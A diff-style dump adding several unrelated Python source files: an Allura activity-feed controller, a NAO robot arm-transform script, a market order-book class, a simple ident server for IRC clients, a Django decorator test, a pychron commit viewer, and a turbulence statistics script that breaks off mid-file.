+ # Licensed to the Apache Software Foundation (ASF) under one
2
+ # or more contributor license agreements. See the NOTICE file
3
+ # distributed with this work for additional information
4
+ # regarding copyright ownership. The ASF licenses this file
5
+ # to you under the Apache License, Version 2.0 (the
6
+ # "License"); you may not use this file except in compliance
7
+ # with the License. You may obtain a copy of the License at
8
+ #
9
+ # http://www.apache.org/licenses/LICENSE-2.0
10
+ #
11
+ # Unless required by applicable law or agreed to in writing,
12
+ # software distributed under the License is distributed on an
13
+ # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
14
+ # KIND, either express or implied. See the License for the
15
+ # specific language governing permissions and limitations
16
+ # under the License.
17
+
18
+ import logging
19
+ import calendar
20
+ from itertools import islice, ifilter
21
+
22
+ from ming.orm import session
23
+ from pylons import tmpl_context as c, app_globals as g
24
+ from pylons import request, response
25
+ from tg import expose, validate, config
26
+ from tg.decorators import with_trailing_slash, without_trailing_slash
27
+ from paste.deploy.converters import asbool, asint
28
+ from webob import exc
29
+ from webhelpers import feedgenerator as FG
30
+
31
+ from allura.app import Application
32
+ from allura import version
33
+ from allura import model as M
34
+ from allura.controllers import BaseController
35
+ from allura.lib.security import require_authenticated, require_access
36
+ from allura.model.timeline import perm_check, get_activity_object
37
+ from allura.lib import helpers as h
38
+ from allura.lib.decorators import require_post
39
+ from allura.lib.widgets.form_fields import PageList
40
+ from allura.ext.user_profile import ProfileSectionBase
41
+
42
+ from .widgets.follow import FollowToggle
43
+
44
+ log = logging.getLogger(__name__)
45
+
46
+
47
+ class ForgeActivityApp(Application):
48
+
49
+ """Project Activity page for projects."""
50
+ __version__ = version.__version__
51
+ default_mount_point = 'activity'
52
+ max_instances = 0
53
+ searchable = False
54
+
55
+ def __init__(self, project, config):
56
+ Application.__init__(self, project, config)
57
+ self.root = ForgeActivityController(self)
58
+ self.api_root = ForgeActivityRestController(self)
59
+
60
+ def admin_menu(self): # pragma no cover
61
+ return []
62
+
63
+ def install(self, project):
64
+ role_anon = M.ProjectRole.by_name('*anonymous')._id
65
+ self.config.acl = [
66
+ M.ACE.allow(role_anon, 'read'),
67
+ ]
68
+
69
+ def uninstall(self, project):
70
+ pass # pragma no cover
71
+
72
+
73
+ class W:
74
+ follow_toggle = FollowToggle()
75
+ page_list = PageList()
76
+
77
+
78
+ class ForgeActivityController(BaseController):
79
+
80
+ def __init__(self, app, *args, **kw):
81
+ super(ForgeActivityController, self).__init__(*args, **kw)
82
+ self.app = app
83
+ setattr(self, 'feed.atom', self.feed)
84
+ setattr(self, 'feed.rss', self.feed)
85
+
86
+ def _check_security(self):
87
+ require_access(c.app, 'read')
88
+
89
+ def _before(self, *args, **kw):
90
+ """Runs before each request to this controller.
91
+
92
+ """
93
+ # register the custom css for our tool
94
+ g.register_app_css('css/activity.css', app=self.app)
95
+
96
+ def _get_activities_data(self, **kw):
97
+ activity_enabled = asbool(config.get('activitystream.enabled', False))
98
+ if not activity_enabled:
99
+ raise exc.HTTPNotFound()
100
+
101
+ c.follow_toggle = W.follow_toggle
102
+ c.page_list = W.page_list
103
+ if c.project.is_user_project:
104
+ followee = c.project.user_project_of
105
+ actor_only = followee != c.user
106
+ else:
107
+ followee = c.project
108
+ actor_only = False
109
+
110
+ following = g.director.is_connected(c.user, followee)
111
+ page = asint(kw.get('page', 0))
112
+ limit = extra_limit = asint(kw.get('limit', 100))
113
+ # get more in case perm check filters some out
114
+ if page == 0 and limit <= 10:
115
+ extra_limit = limit * 20
116
+ timeline = g.director.get_timeline(followee, page,
117
+ limit=extra_limit,
118
+ actor_only=actor_only)
119
+ filtered_timeline = list(islice(ifilter(perm_check(c.user), timeline),
120
+ 0, limit))
121
+ if extra_limit == limit:
122
+ # if we didn't ask for extra, then we expect there's more if we got all we asked for
123
+ has_more = len(timeline) == limit
124
+ else:
125
+ # if we did ask for extra, check filtered result
126
+ has_more = len(filtered_timeline) == limit
127
+ return dict(
128
+ followee=followee,
129
+ following=following,
130
+ timeline=filtered_timeline,
131
+ page=page,
132
+ limit=limit,
133
+ has_more=has_more)
134
+
135
+ @expose('jinja:forgeactivity:templates/index.html')
136
+ @with_trailing_slash
137
+ def index(self, **kw):
138
+ return self._get_activities_data(**kw)
139
+
140
+ @expose('jinja:forgeactivity:templates/timeline.html')
141
+ def pjax(self, **kw):
142
+ return self._get_activities_data(**kw)
143
+
144
+ @without_trailing_slash
145
+ @expose()
146
+ def feed(self, **kw):
147
+ data = self._get_activities_data(**kw)
148
+ response.headers['Content-Type'] = ''
149
+ response.content_type = 'application/xml'
150
+ d = {
151
+ 'title': 'Activity for %s' % data['followee'].activity_name,
152
+ 'link': h.absurl(self.app.url),
153
+ 'description': 'Recent activity for %s' % (
154
+ data['followee'].activity_name),
155
+ 'language': u'en',
156
+ }
157
+ if request.environ['PATH_INFO'].endswith('.atom'):
158
+ feed = FG.Atom1Feed(**d)
159
+ else:
160
+ feed = FG.Rss201rev2Feed(**d)
161
+ for t in data['timeline']:
162
+ url = h.absurl(t.obj.activity_url.encode('utf-8'))
163
+ feed.add_item(title=u'%s %s %s%s' % (
164
+ t.actor.activity_name,
165
+ t.verb,
166
+ t.obj.activity_name,
167
+ ' on %s' % (t.target.activity_name or ''),
168
+ ),
169
+ link=url,
170
+ pubdate=t.published,
171
+ description=t.obj.activity_extras.get('summary'),
172
+ unique_id=url,
173
+ author_name=t.actor.activity_name,
174
+ author_link=h.absurl(t.actor.activity_url))
175
+ return feed.writeString('utf-8')
176
+
177
+ @require_post()
178
+ @expose('json:')
179
+ @validate(W.follow_toggle)
180
+ def follow(self, follow, **kw):
181
+ activity_enabled = asbool(config.get('activitystream.enabled', False))
182
+ if not activity_enabled:
183
+ raise exc.HTTPNotFound()
184
+
185
+ require_authenticated()
186
+ followee = c.project
187
+ if c.project.is_user_project:
188
+ followee = c.project.user_project_of
189
+ if c.user == followee:
190
+ return dict(
191
+ success=False,
192
+ message='Cannot follow yourself')
193
+ try:
194
+ if follow:
195
+ g.director.connect(c.user, followee)
196
+ else:
197
+ g.director.disconnect(c.user, followee)
198
+ except Exception as e:
199
+ log.exception('Unexpected error following user')
200
+ return dict(
201
+ success=False,
202
+ message='Unexpected error: %s' % e)
203
+ return dict(
204
+ success=True,
205
+ message=W.follow_toggle.success_message(follow),
206
+ following=follow)
207
+
208
+
209
+ class ForgeActivityRestController(BaseController):
210
+
211
+ def __init__(self, app, *args, **kw):
212
+ super(ForgeActivityRestController, self).__init__(*args, **kw)
213
+ self.app = app
214
+
215
+ def _check_security(self):
216
+ require_access(c.app, 'read')
217
+
218
+ @expose('json:')
219
+ def index(self, **kw):
220
+ data = self.app.root._get_activities_data(**kw)
221
+ return {
222
+ 'following': data['following'],
223
+ 'followee': {
224
+ 'activity_name': data['followee'].shortname,
225
+ 'activity_url': data['followee'].url(),
226
+ 'activity_extras': {},
227
+ },
228
+ 'timeline': [{
229
+ 'published': calendar.timegm(a.published.timetuple()) * 1000,
230
+ 'actor': a.actor._deinstrument(),
231
+ 'verb': a.verb,
232
+ 'obj': a.obj._deinstrument(),
233
+ 'target': a.target._deinstrument(),
234
+ 'tags': a.tags._deinstrument(),
235
+ } for a in data['timeline']],
236
+ }
237
+
238
+
239
+ class ForgeActivityProfileSection(ProfileSectionBase):
240
+ template = 'forgeactivity:templates/widgets/profile_section.html'
241
+
242
+ def __init__(self, *a, **kw):
243
+ super(ForgeActivityProfileSection, self).__init__(*a, **kw)
244
+ self.activity_app = self.project.app_instance('activity')
245
+
246
+ def check_display(self):
247
+ app_installed = self.activity_app is not None
248
+ activity_enabled = asbool(config.get('activitystream.enabled', False))
249
+ return app_installed and activity_enabled
250
+
251
+ def prepare_context(self, context):
252
+ full_timeline = g.director.get_timeline(
253
+ self.user, page=0, limit=100,
254
+ actor_only=True,
255
+ )
256
+ filtered_timeline = list(islice(ifilter(perm_check(c.user), full_timeline),
257
+ 0, 8))
258
+ for activity in filtered_timeline:
259
+ # Get the project for the activity.obj so we can use it in the
260
+ # template. Expunge first so Ming doesn't try to flush the attr
261
+ # we create to temporarily store the project.
262
+ #
263
+ # The get_activity_object() calls are cheap, pulling from
264
+ # the session identity map instead of mongo since identical
265
+ # calls are made by perm_check() above.
266
+ session(activity).expunge(activity)
267
+ activity_obj = get_activity_object(activity.obj)
268
+ activity.obj.project = getattr(activity_obj, 'project', None)
269
+
270
+ context.update({
271
+ 'follow_toggle': W.follow_toggle,
272
+ 'following': g.director.is_connected(c.user, self.user),
273
+ 'timeline': filtered_timeline,
274
+ 'activity_app': self.activity_app,
275
+ })
276
+ g.register_js('activity_js/follow.js')
277
+ return context
pool/shard009/Python/0084071_get_transform.py ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #-*- coding: utf-8 -*-
2
+ from naoqi import ALProxy
3
+ import motion
4
+ import argparse
5
+
6
+ # ----------> Connect to robot <----------
7
+ robot_ip = "192.168.1.100"
8
+ robot_port = 9559 # default port : 9559
9
+
10
+ motionProxy = ALProxy("ALMotion", robot_ip, robot_port)
11
+
12
+ # ----------> get Transform and print <----------
13
+
14
+ # Example showing how to get the end of the right arm as a transform
15
+ # represented in torso space. The result is a 4 by 4 matrix composed
16
+ # of a 3*3 rotation matrix and a column vector of positions.
17
+
18
+ name = 'RArm'
19
+ frame = motion.FRAME_TORSO
20
+ useSensorValues = True
21
+ result = motionProxy.getTransform(name, frame, useSensorValues)
22
+ for i in range(0, 4):
23
+ for j in range(0, 4):
24
+ print result[4*i + j],
25
+ print ''
26
+
27
+ #R R R x
28
+ #R R R y
29
+ #R R R z
30
+ #0 0 0 1
pool/shard009/Python/0084074_init__.py ADDED
@@ -0,0 +1,159 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ # -*- coding: utf8 -*-
3
+ """
4
+ Market module.
5
+ """
6
+
7
+ import sys
8
+ from fms.utils import BUY, SELL
9
+ from fms.utils.exceptions import MissingParameter
10
+
11
+ class Market:
12
+ """
13
+ Abstract market class
14
+ """
15
+
16
+ def __init__(self, parameters):
17
+ self.replay = False
18
+ if parameters:
19
+ self.outputfile = parameters.outputfile
20
+ self.csvdelimiter = parameters['csvdelimiter']
21
+ if parameters['agents'][0]['classname'] == 'PlayOrderLogFile':
22
+ self.replay = True
23
+ else:
24
+ self.outputfile = sys.stdout
25
+ self.csvdelimiter = ';'
26
+ self.sellbook = []
27
+ self.buybook = []
28
+
29
+ def __str__(self):
30
+ return "%s market %s" % (self.__class__, id(self))
31
+
32
+ def is_valid(self, agent, desire):
33
+ """
34
+ Checks agent's desire validity
35
+
36
+ Should be implemented in subclass.
37
+ """
38
+ raise NotImplementedError
39
+
40
+ def clear_books(self):
41
+ """
42
+ Reset books to empty state
43
+ """
44
+ self.sellbook = []
45
+ self.buybook = []
46
+
47
+ def record_order(self, order, time, unique=True):
48
+ """
49
+ Record agent order in correct order book
50
+
51
+ If an order from the same agent exists on the same
52
+ asset and unique is True, delete it.
53
+
54
+ >>> from fms.markets import Market
55
+ >>> market = Market(None)
56
+ >>> market.record_order({'direction': 1, 'quantity': 2, 'price': 3, 'agent': 'smith'}, 1)
57
+ >>> market.sellbook
58
+ [[3, 1, 2, 'smith']]
59
+ >>> market.record_order({'direction': 1, 'quantity': 3, 'price': 4, 'agent': 'smith'}, 1)
60
+ >>> market.sellbook
61
+ [[4, 1, 3, 'smith']]
62
+ >>> market.record_order({'direction': 1, 'quantity': 4, 'price': 5, 'agent': 'smith'}, 1, False)
63
+ >>> market.sellbook
64
+ [[4, 1, 3, 'smith'], [5, 1, 4, 'smith']]
65
+
66
+ """
67
+ if unique:
68
+ for book in (self.sellbook, self.buybook):
69
+ for line in book:
70
+ if order['agent'] == line[3]:
71
+ book.remove(line)
72
+ break
73
+ # the for loop seems faster, probably because of the break
74
+ # self.sellbook = filter((lambda x: order['agent'] != x[3]),
75
+ # self.sellbook)
76
+ # self.buybook = filter((lambda x: order['agent'] != x[3]),
77
+ # self.buybook)
78
+
79
+ if order['direction'] == SELL:
80
+ self.sellbook.append(
81
+ [order['price'], time, order['quantity'], order['agent']])
82
+ self.sellbook.sort()
83
+ else:
84
+ self.buybook.append(
85
+ [order['price'], -time, order['quantity'], order['agent']])
86
+ self.buybook.sort()
87
+
88
+ def do_clearing(self):
89
+ """
90
+ Clears recorded desires
91
+
92
+ Should be implemented in subclass.
93
+ """
94
+ raise NotImplementedError
95
+
96
+ def info(self):
97
+ """
98
+ Returns market current state, as dict
99
+ """
100
+ if self.__class__.__name__ == 'Market':
101
+ infodict = {'sellbook': [['unset sellbook']],
102
+ 'buybook': [['unset buybook']],
103
+ 'lasttransaction':0}
104
+ return infodict
105
+ else:
106
+ raise NotImplementedError
107
+
108
+ def sanitize_order(self, raw_order):
109
+ """
110
+ Returns agent's order as a dict with direction, price, quantity.
111
+ raw_order should be a dict with at least 'direction' key.
112
+ Order keys :
113
+ - direction: BUY or SELL
114
+ - price: best market limit if missing
115
+ - quantity: 1 if missing
116
+ """
117
+ order = {}
118
+ if 'direction' in raw_order:
119
+ order['direction'] = raw_order['direction']
120
+ if order['direction'] == BUY:
121
+ order['price'] = raw_order.get('price',
122
+ self.info()['sellbook'][0][0])
123
+ else:
124
+ order['price'] = raw_order.get('price',
125
+ self.info()['buybook'][-1][0])
126
+ order['quantity'] = raw_order.get('quantity', 1)
127
+ order['agent'] = raw_order['agent']
128
+ return order
129
+ else:
130
+ raise MissingParameter, 'direction'
131
+
132
+ def output_transaction(self, time, price, quantity):
133
+ """
134
+ Output a transaction line
135
+ """
136
+ mask = self.csvdelimiter.join(('%d','%d','%.2f','%d'))
137
+ print >> self.outputfile, mask % (time,
138
+ self.transaction,
139
+ price,
140
+ quantity)
141
+
142
+
143
+ def output_books(self, time):
144
+ """
145
+ Output best limits
146
+ """
147
+ sep = "-" * 39
148
+ print sep
149
+ print " Sell orders at %03d" % time
150
+ print " Price | Quantity | Emitter"
151
+ for limit in self.sellbook[::-1][:5]:
152
+ print " %6.2f | %8d | %s" % (limit[0], limit[2], limit[3])
153
+ print sep
154
+ for limit in self.buybook[::-1][:5]:
155
+ print " %6.2f | %8d | %s" % (limit[0], limit[2], limit[3])
156
+ print " Price | Quantity | Emitter"
157
+ print " Buy orders at %03d" % time
158
+ print sep
159
+
pool/shard009/Python/0084077_ident.py ADDED
@@ -0,0 +1,90 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """ This module contains a quick ident server implentation:
2
+ ``IdentServer``. IdentServer is a functional ident server that returns fake data
3
+ and can be used with IRC bots or clients. This is useful for two reasons; it
4
+ speeds up connection time, and some servers require an ident response for
5
+ security purposes.
6
+
7
+ """
8
+ import asyncore, asynchat
9
+ import os
10
+ import socket
11
+ import uuid
12
+
13
+
14
+ def get_operating_system():
15
+ """ Retreives an RFC-1340 compliant name of the operating system. If a name
16
+ doesn't seem to be available, then UNKNOWN is returned instead. This
17
+ function is limited by the possibilities of os.name values.
18
+ """
19
+ os_map = {
20
+ "nt": "WIN32",
21
+ "posix": "UNIX",
22
+ "mac": "MACOS",
23
+ "os2": "OS/2",
24
+ "ce": "WIN32"
25
+ }
26
+ return os_map.get(os.name, "UNKNOWN")
27
+
28
+
29
+
30
+ def generate_fake_userid():
31
+ """ Create a fake user id. This gets used when FakeIdentServer is being used
32
+ and the userid was initially set to None. It creates a random UUID as
33
+ specified by RFC 4122.
34
+ """
35
+ return str(uuid.uuid4())
36
+
37
+
38
+
39
+ class _IdentChannel(asynchat.async_chat):
40
+ """ An instance of _IdentChannel represents a single request from a client
41
+ to the IdentServer. It isn't designed to be used directly.
42
+ """
43
+
44
+ def __init__(self, userid, sock, addr):
45
+ """ Set up the object by specifying the terminator and initializing the
46
+ input buffer and using the socket passed from the dispatcher. The
47
+ terminator for the ident protocol is CR+LF.
48
+ """
49
+ asynchat.async_chat.__init__(self, sock)
50
+ self.set_terminator("\r\n")
51
+ self.userid = userid
52
+ self.collect_incoming_data = self._collect_incoming_data
53
+
54
+ def found_terminator(self):
55
+ """ When this is activated, it means that the terminator (\r\n) has been
56
+ read. When that happens, we get the input data, clear the buffer,
57
+ and then handle the data collected.
58
+ """
59
+ request = "".join(self.incoming)
60
+ sysos = get_operating_system()
61
+
62
+ response = (request, "USERID", sysos, self.userid)
63
+
64
+ self.incoming = []
65
+ self.push(":".join(response))
66
+ self.close_when_done()
67
+
68
+
69
+
70
+
71
+ class IdentServer(asyncore.dispatcher):
72
+ """ A quick and easy ident server. In order to run the ident server inline
73
+ with an IRC bot or client, be sure to use ``start_all()`` instead of
74
+ calling the ``start()`` method.
75
+
76
+ """
77
+ def __init__(self, port=113, userid=None):
78
+ asyncore.dispatcher.__init__(self)
79
+ self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
80
+ self.bind(("", port))
81
+ self.listen(5)
82
+ self.userid = userid or generate_fake_userid()
83
+
84
+ def handle_accept(self):
85
+ """ Dispatch a request onto an _IdentChannel instance. """
86
+ _IdentChannel(self.userid, *self.accept())
87
+
88
+ def start(self):
89
+ """ Begin serving ident requests on the port specified. """
90
+ asyncore.loop(map=self._map)
pool/shard009/Python/0084079_decorators_tests.py ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from django.test import TestCase
2
+ from django.contrib.auth.models import User
3
+
4
+ from basitapi.decorators import load_model
5
+ from basitapi.tests import factories
6
+
7
+ class DecoratorsTest(TestCase):
8
+ def test_load_model(self):
9
+ user = factories.UserFactory()
10
+
11
+ class TempObject:
12
+ @load_model(model=User, id_name='user_id', access_name='user')
13
+ def temp_method(self, request, user_id):
14
+ print request
15
+ return request.user.id
16
+
17
+ class TempData:
18
+ def __init__(self):
19
+ pass
20
+
21
+ temp_object = TempObject()
22
+ self.assertEquals(user.id, temp_object.temp_method(TempData(), user_id=user.id))
23
+
24
+ self.assertEquals(404, temp_object.temp_method(TempData(), user_id=123123123).status)
pool/shard009/Python/0084091_commit_view.py ADDED
@@ -0,0 +1,139 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ===============================================================================
2
+ # Copyright 2014 Jake Ross
3
+ #
4
+ # Licensed under the Apache License, Version 2.0 (the "License");
5
+ # you may not use this file except in compliance with the License.
6
+ # You may obtain a copy of the License at
7
+ #
8
+ # http://www.apache.org/licenses/LICENSE-2.0
9
+ #
10
+ # Unless required by applicable law or agreed to in writing, software
11
+ # distributed under the License is distributed on an "AS IS" BASIS,
12
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
+ # See the License for the specific language governing permissions and
14
+ # limitations under the License.
15
+ # ===============================================================================
16
+
17
+ # ============= enthought library imports =======================
18
+ from __future__ import absolute_import
19
+
20
+ from traits.api import Int, Property, List
21
+ from traitsui.api import VGroup, UItem, HGroup, Group, Tabbed
22
+
23
+ # ============= standard library imports ========================
24
+ # ============= local library imports ==========================
25
+ from traitsui.editors.api import TabularEditor
26
+ from traitsui.handler import Controller
27
+ from traitsui.item import Readonly
28
+ from traitsui.tabular_adapter import TabularAdapter
29
+
30
+ from pychron.core.helpers.traitsui_shortcuts import okcancel_view
31
+ from pychron.git_archive.history import CommitAdapter, BaseGitHistory
32
+ from pychron.pychron_constants import LIGHT_YELLOW
33
+
34
+
35
+ class UpdateGitHistory(BaseGitHistory):
36
+ tags = List
37
+
38
+ def set_tags(self, tags):
39
+ gfactory = self.git_sha_object_factory
40
+
41
+ def factory(t):
42
+ obj = gfactory(t.commit)
43
+ obj.name = t.name
44
+ return obj
45
+
46
+ self.tags = sorted(
47
+ [factory(ti) for ti in tags], key=lambda x: x.date, reverse=True
48
+ )
49
+
50
+
51
+ class CommitAdapter(TabularAdapter):
52
+ columns = [("Message", "message"), ("Date", "date"), ("SHA", "hexsha")]
53
+ message_width = Int(500)
54
+ date_width = Int(185)
55
+ hexsha_text = Property
56
+
57
+ def _get_hexsha_text(self):
58
+ return self.item.hexsha[:10]
59
+
60
+ def get_bg_color(self, obj, trait, row, column=0):
61
+ item = getattr(obj, trait)[row]
62
+ return LIGHT_YELLOW if item.active else "white"
63
+
64
+
65
+ class TagAdapter(CommitAdapter):
66
+ columns = [
67
+ ("Tag", "name"),
68
+ ("Message", "message"),
69
+ ("Date", "date"),
70
+ ("SHA", "hexsha"),
71
+ ]
72
+ name_width = Int(100)
73
+
74
+
75
+ class BaseCommitsView(Controller):
76
+ model = BaseGitHistory
77
+
78
+ def traits_view(self):
79
+ v = okcancel_view(
80
+ VGroup(*self._groups()),
81
+ width=900,
82
+ height=400,
83
+ title="Available Updates- Branch= {}".format(self.model.branchname),
84
+ )
85
+ return v
86
+
87
+ def _groups(self):
88
+ raise NotImplementedError
89
+
90
+ def _items_grp(self):
91
+ return UItem(
92
+ "items",
93
+ editor=TabularEditor(
94
+ adapter=CommitAdapter(), editable=False, selected="selected"
95
+ ),
96
+ )
97
+
98
+ def _info_grp(self):
99
+ return HGroup(
100
+ Readonly("local_commit", label="Your Version"),
101
+ Readonly("latest_remote_commit", label="Latest Version"),
102
+ Readonly("n", label="Commits Behind", visible_when="show_behind"),
103
+ )
104
+
105
+
106
+ class ManageCommitsView(BaseCommitsView):
107
+ def _groups(self):
108
+ igrp = Group(self._items_grp(), label="Commits")
109
+ tgrp = VGroup(
110
+ UItem(
111
+ "tags",
112
+ editor=TabularEditor(
113
+ adapter=TagAdapter(), editable=False, selected="selected"
114
+ ),
115
+ ),
116
+ label="Tags",
117
+ )
118
+ return [self._info_grp(), Tabbed(tgrp, igrp)]
119
+
120
+
121
+ class CommitView(BaseCommitsView):
122
+ def _groups(self):
123
+ return [self._info_grp(), self._items_grp()]
124
+ # def traits_view(self):
125
+ # v = View(,
126
+ # UItem('items',
127
+ # editor=TabularEditor(adapter=CommitAdapter(),
128
+ # editable=False,
129
+ # selected='selected')),
130
+ # kind='livemodal',
131
+ # width=900,
132
+ # height=400,
133
+ # buttons=['OK', 'Cancel'],
134
+ # title='Available Updates- Branch= {}'.format(self.model.branchname),
135
+ # resizable=True)
136
+ # return v
137
+
138
+
139
+ # ============= EOF =============================================
pool/shard009/Python/0084100_SGS_fluid_stats.py ADDED
@@ -0,0 +1,175 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2
+ #
3
+ # File name: apriori_SGS_fluid.py
4
+ # Created by: mknorps
5
+ # Creation date: 21-06-2017
6
+ # Last modified: 29-09-2017 12:35:17
7
+ # Purpose: take filtered and unfiltered fluid field
8
+ # in Fourier space from spectral code
9
+ # compute statistics of SGS fluid velocity
10
+ #
11
+ # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
12
+
13
+ import numpy as np
14
+ import matplotlib.pyplot as plt
15
+ import homstat as hs
16
+ import homfiles as hf
17
+ import homfigs as hfig
18
+ import itertools as it
19
+ from scipy.interpolate import griddata
20
+ from os.path import expanduser
21
+ import sys
22
+ import datetime
23
+
24
+ # declaration of picture attributes
25
+
26
+ LineStyle = {'DNS':'solid','LES':'dashed'}
27
+ coordinates = {1:'x',2:'y',3:'z'}
28
+ statistics = {0:("hmean_symm",),1:("hstd_symm",),
29
+ 2:("hcor_symm","Ux","Uy"),
30
+ 3:("hcor_symm","Uy","Uz"),
31
+ 4:("hcor_symm","Ux","Uz"),
32
+ 5:("hek_symm",)}
33
+ ylabels = {1:"$<U>_{x}$",2:"$<U>_{y}$",
34
+ 3:"$<U>_{z}$",4:"$<U_{x},U_{y}>$",
35
+ 5:"$<U_{y},U_z>$",6:"$<U_{x}U_{z}$",
36
+ 7:"$e_{k}$"}
37
+ ptitles = {"hmean_symm":"mean of U","hstd_symm":"Standard deviation of U","hcor_symm":"Correlation of ","hek_symm":"Kinetic energy"}
38
+
39
+
40
+ #data loading
41
+ file_path = expanduser("~") + "/wyniki/apriori/fluid/"
42
+ fig_path = file_path
43
+ field = 2501
44
+
45
+ test_set_DNS = hf.ChannelFields(128,129,128,field,field,fPath = file_path, fPrefix=["upp_Ux","upp_Uy","upp_Uz"])
46
+ test_set_LES = hf.ChannelFields(32,33,64,field,field, fPath = file_path,fPrefix=["uppf_Ux","uppf_Uy","uppf_Uz"])
47
+
48
+
49
+ # The data that will be used for computations
50
+ #
51
+ DNS_data = getattr(test_set_DNS,'field_'+str(field))
52
+ LES_data = getattr(test_set_LES,'field_'+str(field))
53
+ #
54
+
55
+
56
+ print (DNS_data.K,DNS_data.N, DNS_data.M )
57
+ print (LES_data.K,LES_data.N, LES_data.M )
58
+
59
+
60
+ #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
61
+ #
62
+ # computation of SGS velocity usgs = DNS_data - LES_data
63
+ #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
64
+
65
+
66
+ #.....................................................
67
+ # VERSION 1: we take the difference in LES nodes only
68
+ #
69
+ #DNS nodes connected with DNS
70
+ indices_32 = np.arange(0,127,4)
71
+ indices_33 = np.append(np.arange(0,127,4),127)
72
+ indices_64 = np.arange(0,128,2)
73
+
74
+ Ux_SGS = np.empty([32,33,64])
75
+ Uy_SGS = np.empty([32,33,64])
76
+ Uz_SGS = np.empty([32,33,64])
77
+
78
+
79
+ for iLES,iDNS in enumerate(indices_32):
80
+ for jLES,jDNS in enumerate(indices_33):
81
+ for kLES,kDNS in enumerate(indices_64):
82
+ Ux_SGS[iLES,jLES,kLES] = DNS_data.Ux[iDNS,jDNS,kDNS] - LES_data.Ux[iLES,jLES,kLES]
83
+ Uy_SGS[iLES,jLES,kLES] = DNS_data.Uy[iDNS,jDNS,kDNS] - LES_data.Uy[iLES,jLES,kLES]
84
+ Uz_SGS[iLES,jLES,kLES] = DNS_data.Uz[iDNS,jDNS,kDNS] - LES_data.Uz[iLES,jLES,kLES]
85
+
86
+
87
+ SGS_LES = hs.Channel(Ux_SGS,Uy_SGS,Uz_SGS,LES_data.K,LES_data.N, LES_data.M )
88
+
89
+
90
+ #.....................................................
91
+ # VERSION 2: we take the difference in DNS nodes
92
+ # and interpolate LES to DNS position
93
+ #
94
+ # For this we need to write the data to file
95
+ # since interpolation takes a lot of time (~ 3h for each velocity = ~9h)
96
+ # is run only if option 'INTERPOLATE' is activated
97
+ # in the command line run
98
+ # e.g. python SGS_fluid_stats.py --interpolate
99
+
100
+ INTERPOLATE = False
101
+
102
+ if '--interpolate' in sys.argv:
103
+ INTERPOLATE = True
104
+ print ( 'Interpolation run... it may take a while ')
105
+ print ( 'Argument list: ',str(sys.argv))
106
+
107
+
108
+ if INTERPOLATE:
109
+ print("interpolating!!!!")
110
+ Ux_SGS_dense_grid = np.empty([128,129,128])
111
+ Uy_SGS_dense_grid = np.empty([128,129,128])
112
+ Uz_SGS_dense_grid = np.empty([128,129,128])
113
+
114
+ #DNS grid - we will interpolate LES velocity on it
115
+ x = np.linspace(0,4*np.pi,128)
116
+ y = DNS_data.ynodes()
117
+ z = np.linspace(0,2*np.pi,128)
118
+
119
+ grid_x,grid_y,grid_z = np.meshgrid(x,y,z)
120
+
121
+ #LES grid
122
+ x_LES = np.linspace(0,4*np.pi,32)
123
+ y_LES = LES_data.ynodes()
124
+ z_LES = np.linspace(0,2*np.pi,64)
125
+
126
+ print( len(x_LES),len(y_LES),len(z_LES))
127
+
128
+ LES_grid_x,LES_grid_y,LES_grid_z = np.meshgrid(x_LES,y_LES,z_LES)
129
+
130
